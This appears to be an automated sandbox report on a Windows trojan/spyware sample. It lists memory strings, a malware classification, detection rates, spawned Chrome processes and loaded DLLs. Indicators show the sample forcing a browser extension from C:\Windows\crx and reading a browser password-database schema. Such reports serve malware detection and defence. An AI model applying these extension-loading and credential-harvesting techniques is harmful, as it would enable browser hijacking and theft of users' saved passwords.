Source: RZnZbS97dD.exe, 00000004.00000003.1557846332.00000000056FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1554170808.000000000563D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000002.1722531696.000000000563E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1554652985.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1577944448.0000000005768000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1559437640.00000000057BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1602376344.00000000051C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1575870335.0000000005882000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1562807054.000000000572C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1573630647.0000000005863000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1555098504.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1574969265.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1573018589.0000000005644000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1565918029.0000000005738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1554802345.00000000056E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1558677162.0000000005702000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1599534140.0000000005259000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1579875353.00000000058C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1562654620.0000000005641000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1577357683.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1561352013.0000000005724000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1559864727.000000000570E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1580499433.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1555784230.00000000056D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1561201407.000000000563B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1574064971.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1575372951.000000000563A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1574718763.000000000574B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1553657082.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1580669762.00000000058CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1603041653.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1563457887.000000000572A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1569318509.0000000005754000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1579332106.000000000563F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1574268300.0000000005748000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1578606009.0000000005775000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1560372443.00000000057EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1573292712.000000000574E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1563624967.000000000563B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1560665734.0000000005718000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1576995016.0000000005757000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1554325185.00000000056E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1553398582.00000000052A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1577757849.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1556110100.000000000577B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1571151899.000000000563D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1556740088.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1578944093.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1559028491.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1556346537.000000000563F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1559310213.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1580278431.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1564361375.0000000005733000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1564610252.0000000005831000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1565749039.0000000005640000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1556477844.00000000056F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1581641312.0000000005786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1555344873.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1575590531.000000000575B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1556611879.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1559695244.0000000005638000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1561586228.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1556861150.00000000056E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1552709914.0000000005436000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1577560245.0000000005774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1557227193.00000000056F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1578368933.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1581023564.000000000578F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1560020306.000000000563D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1561021598.000000000571A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1554468307.0000000005296000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1577175416.0000000005883000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1568234816.0000000005844000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1576295195.000000000576E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1578141273.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1568813446.000000000563F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1562229015.0000000005731000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1554010545.000000000529D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1560204723.0000000005713000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1557425862.000000000563D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1553141644.0000000005640000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1560814771.000000000563A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1561757797.0000000005641000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1578762615.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1571691510.0000000005753000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1574488532.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1559180801.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1556976780.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1602986818.0000000005196000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1561927260.000000000572E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1554956081.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1564008137.0000000005638000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1580847905.000000000563A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1557104131.0000000005642000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1560520675.0000000005644000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1558902378.000000000563D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1579139291.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1562065839.000000000563B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1563254687.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1581180926.000000000563E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1563821186.0000000005729000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1552967444.00000000052A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1558149021.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000002.1723090906.00000000059F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1576103295.0000000005640000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe

Source: RZnZbS97dD.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: RZnZbS97dD.exe

Static PE information: Section: ZLIB complexity 0.9973779965753424

Source: RZnZbS97dD.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@11/7

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RZnZbS97dD.exe, 00000004.00000003.1349449240.00000000051C9000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1373894493.00000000051BF000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1349559271.00000000051AE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: RZnZbS97dD.exe	Virustotal: Detection: 54%
Source: RZnZbS97dD.exe	ReversingLabs: Detection: 50%

Source: RZnZbS97dD.exe	String found in binary or memory: argetPrediction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1
Source: RZnZbS97dD.exe	String found in binary or memory: diction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1
Source: RZnZbS97dD.exe	String found in binary or memory: ing,OptimizationTargetPrediction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1
Source: RZnZbS97dD.exe	String found in binary or memory: ationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1
Source: RZnZbS97dD.exe	String found in binary or memory: argetPrediction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument
Source: RZnZbS97dD.exe	String found in binary or memory: Prediction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

File read: C:\Users\user\Desktop\RZnZbS97dD.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RZnZbS97dD.exe "C:\Users\user\Desktop\RZnZbS97dD.exe"
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1876,i,14361718925993332408,4187738249852284842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1184,i,340053501335636727,864007736336212206,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1876,i,14361718925993332408,4187738249852284842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1184,i,340053501335636727,864007736336212206,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: mskeyprotect.dll	Jump to behavior
